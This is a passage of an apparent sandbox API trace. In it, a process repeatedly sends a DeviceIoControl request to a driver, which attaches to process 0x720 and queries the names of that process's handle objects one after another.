Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8003075a50, HandleInformation=0x0) returned 0x0 [0137.057] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.057] PsReleaseProcessExitSynchronization () returned 0x2 [0137.057] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0137.057] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a0d044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001a0d044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.057] ObfDereferenceObject (Object=0xfffffa8003075a50) returned 0x3 [0137.057] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0137.057] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.057] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.057] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0xa0, lpOverlapped=0x0) returned 1 [0137.057] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.057] PsAcquireProcessExitSynchronization () returned 0x0 [0137.057] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054735d0) [0137.058] ObReferenceObjectByHandle (in: Handle=0x130, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800358f410, HandleInformation=0x0) returned 0x0 [0137.058] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.058] PsReleaseProcessExitSynchronization () returned 0x2 [0137.058] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0137.058] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a0e044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001a0e044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.058] ObfDereferenceObject (Object=0xfffffa800358f410) returned 0x2 [0137.058] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0137.058] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.058] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.058] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0xa6, lpOverlapped=0x0) returned 1 [0137.058] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.058] PsAcquireProcessExitSynchronization () returned 0x0 [0137.058] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054735d0) [0137.058] ObReferenceObjectByHandle (in: Handle=0x150, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a001a09190, HandleInformation=0x0) returned 0x0 [0137.058] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.058] PsReleaseProcessExitSynchronization () returned 0x2 [0137.058] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0137.058] ObQueryNameString (in: Object=0xfffff8a001a09190, ObjectNameInfo=0xfffffa8001a10044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a10044, ReturnLength=0xfffff88005473550) returned 0x0 [0137.058] ObfDereferenceObject (Object=0xfffff8a001a09190) returned 0x2 [0137.058] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0137.058] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.058] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.058] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0xa6, lpOverlapped=0x0) returned 1 [0137.058] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.058] PsAcquireProcessExitSynchronization () returned 0x0 [0137.058] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054735d0) [0137.058] ObReferenceObjectByHandle (in: Handle=0x158, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a001a979e0, HandleInformation=0x0) returned 0x0 [0137.058] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.058] PsReleaseProcessExitSynchronization () returned 0x2 [0137.058] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0137.058] ObQueryNameString (in: Object=0xfffff8a001a979e0, ObjectNameInfo=0xfffffa8001fc3044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001fc3044, ReturnLength=0xfffff88005473550) returned 0x0 [0137.058] ObfDereferenceObject (Object=0xfffff8a001a979e0) returned 0x2 [0137.058] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0137.058] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.058] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.059] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x102, lpOverlapped=0x0) returned 1 [0137.059] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.059] PsAcquireProcessExitSynchronization () returned 0x0 [0137.059] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054735d0) [0137.059] ObReferenceObjectByHandle (in: Handle=0x160, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800cabb520, HandleInformation=0x0) returned 0x0 [0137.059] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.059] PsReleaseProcessExitSynchronization () returned 0x2 [0137.059] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0137.059] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800240c744, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa800240c744, ReturnLength=0xfffff88005473508) returned 0x0 [0137.059] ObfDereferenceObject (Object=0xfffffa800cabb520) returned 0x1 [0137.059] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0137.059] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.059] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.059] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x8c, lpOverlapped=0x0) returned 1 [0137.059] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.059] PsAcquireProcessExitSynchronization () returned 0x0 [0137.059] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054735d0) [0137.059] ObReferenceObjectByHandle (in: Handle=0x1a0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8003c3ba00, HandleInformation=0x0) returned 0x0 [0137.059] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.059] PsReleaseProcessExitSynchronization () returned 0x2 [0137.059] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0137.059] ObQueryNameString (in: Object=0xfffffa8003c3ba00, ObjectNameInfo=0xfffffa800390e204, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800390e204, ReturnLength=0xfffff88005473550) returned 0x0 [0137.059] ObfDereferenceObject (Object=0xfffffa8003c3ba00) returned 0x1 [0137.059] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0137.059] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.059] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.059] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0137.059] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.059] PsAcquireProcessExitSynchronization () returned 0x0 [0137.059] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054735d0) [0137.059] ObReferenceObjectByHandle (in: Handle=0x1b8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800dfd4b60, HandleInformation=0x0) returned 0x0 [0137.059] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.059] PsReleaseProcessExitSynchronization () returned 0x2 [0137.059] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0137.060] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800231d7c4, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa800231d7c4, ReturnLength=0xfffff88005473508) returned 0x0 [0137.060] ObfDereferenceObject (Object=0xfffffa800dfd4b60) returned 0x1 [0137.060] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0137.060] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.060] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.060] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0xf4, lpOverlapped=0x0) returned 1 [0137.060] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.060] PsAcquireProcessExitSynchronization () returned 0x0 [0137.060] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054735d0) [0137.060] ObReferenceObjectByHandle (in: Handle=0x2dc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800c5de530, HandleInformation=0x0) returned 0x0 [0137.060] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.060] PsReleaseProcessExitSynchronization () returned 0x2 [0137.060] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0137.060] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800208f044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa800208f044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.060] ObfDereferenceObject (Object=0xfffffa800c5de530) returned 0x1 [0137.060] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0137.060] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.060] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.060] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x8a, lpOverlapped=0x0) returned 1 [0137.060] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.060] PsAcquireProcessExitSynchronization () returned 0x0 [0137.060] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054735d0) [0137.060] ObReferenceObjectByHandle (in: Handle=0x2e4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8003237ca0, HandleInformation=0x0) returned 0x0 [0137.060] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.060] PsReleaseProcessExitSynchronization () returned 0x2 [0137.060] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0137.060] ObQueryNameString (in: Object=0xfffffa8003237ca0, ObjectNameInfo=0xfffffa800384d744, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800384d744, ReturnLength=0xfffff88005473550) returned 0x0 [0137.060] ObfDereferenceObject (Object=0xfffffa8003237ca0) returned 0x1 [0137.060] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0137.060] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.060] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.060] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0xb4, lpOverlapped=0x0) returned 1 [0137.060] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.060] PsAcquireProcessExitSynchronization () returned 0x0 [0137.061] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054735d0) [0137.061] ObReferenceObjectByHandle (in: Handle=0x324, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a00181e670, HandleInformation=0x0) returned 0x0 [0137.061] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.061] PsReleaseProcessExitSynchronization () returned 0x2 [0137.061] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0137.061] ObQueryNameString (in: Object=0xfffff8a00181e670, ObjectNameInfo=0xfffffa80024077c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80024077c4, ReturnLength=0xfffff88005473550) returned 0x0 [0137.061] ObfDereferenceObject (Object=0xfffff8a00181e670) returned 0x2 [0137.061] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0137.061] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.061] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.061] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0xb0, lpOverlapped=0x0) returned 1 [0137.061] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.061] PsAcquireProcessExitSynchronization () returned 0x0 [0137.061] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054735d0) [0137.061] ObReferenceObjectByHandle (in: Handle=0x330, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a001883dc0, HandleInformation=0x0) returned 0x0 [0137.061] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.061] PsReleaseProcessExitSynchronization () returned 0x2 [0137.061] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0137.061] ObQueryNameString (in: Object=0xfffff8a001883dc0, ObjectNameInfo=0xfffffa800243d7c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800243d7c4, ReturnLength=0xfffff88005473550) returned 0x0 [0137.061] ObfDereferenceObject (Object=0xfffff8a001883dc0) returned 0x2 [0137.061] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0137.061] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.061] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.061] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0xae, lpOverlapped=0x0) returned 1 [0137.061] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.061] PsAcquireProcessExitSynchronization () returned 0x0 [0137.061] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054735d0) [0137.061] ObReferenceObjectByHandle (in: Handle=0x334, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8003065d10, HandleInformation=0x0) returned 0x0 [0137.061] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.061] PsReleaseProcessExitSynchronization () returned 0x2 [0137.061] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0137.061] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002041044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8002041044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.062] ObfDereferenceObject (Object=0xfffffa8003065d10) returned 0x1 [0137.062] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0137.062] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.062] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.062] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0xb4, lpOverlapped=0x0) returned 1 [0137.062] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.062] PsAcquireProcessExitSynchronization () returned 0x0 [0137.062] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054735d0) [0137.062] ObReferenceObjectByHandle (in: Handle=0x33c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a0018822d0, HandleInformation=0x0) returned 0x0 [0137.062] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.062] PsReleaseProcessExitSynchronization () returned 0x2 [0137.062] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0137.062] ObQueryNameString (in: Object=0xfffff8a0018822d0, ObjectNameInfo=0xfffffa8003a72044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8003a72044, ReturnLength=0xfffff88005473550) returned 0x0 [0137.062] ObfDereferenceObject (Object=0xfffff8a0018822d0) returned 0x2 [0137.062] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0137.062] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.062] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.062] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x8e, lpOverlapped=0x0) returned 1 [0137.062] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.062] PsAcquireProcessExitSynchronization () returned 0x0 [0137.062] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054735d0) [0137.062] ObReferenceObjectByHandle (in: Handle=0x34c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8009f26a50, HandleInformation=0x0) returned 0x0 [0137.062] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.062] PsReleaseProcessExitSynchronization () returned 0x2 [0137.062] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0137.062] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800391a7c4, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa800391a7c4, ReturnLength=0xfffff88005473508) returned 0x0 [0137.062] ObfDereferenceObject (Object=0xfffffa8009f26a50) returned 0x5 [0137.062] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0137.062] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.062] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.062] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x90, lpOverlapped=0x0) returned 1 [0137.062] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.062] PsAcquireProcessExitSynchronization () returned 0x0 [0137.063] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054735d0) [0137.063] ObReferenceObjectByHandle (in: Handle=0x35c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a0018b3390, HandleInformation=0x0) returned 0x0 [0137.063] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.063] PsReleaseProcessExitSynchronization () returned 0x2 [0137.063] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0137.063] ObQueryNameString (in: Object=0xfffff8a0018b3390, ObjectNameInfo=0xfffffa80037d67c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80037d67c4, ReturnLength=0xfffff88005473550) returned 0x0 [0137.063] ObfDereferenceObject (Object=0xfffff8a0018b3390) returned 0x2 [0137.063] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0137.063] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.063] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.063] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x94, lpOverlapped=0x0) returned 1 [0137.063] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.063] PsAcquireProcessExitSynchronization () returned 0x0 [0137.063] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054735d0) [0137.063] ObReferenceObjectByHandle (in: Handle=0x360, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a0018c8080, HandleInformation=0x0) returned 0x0 [0137.063] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.063] PsReleaseProcessExitSynchronization () returned 0x2 [0137.063] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0137.063] ObQueryNameString (in: Object=0xfffff8a0018c8080, ObjectNameInfo=0xfffffa80034947c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80034947c4, ReturnLength=0xfffff88005473550) returned 0x0 [0137.063] ObfDereferenceObject (Object=0xfffff8a0018c8080) returned 0x2 [0137.063] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0137.063] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.063] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.063] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, 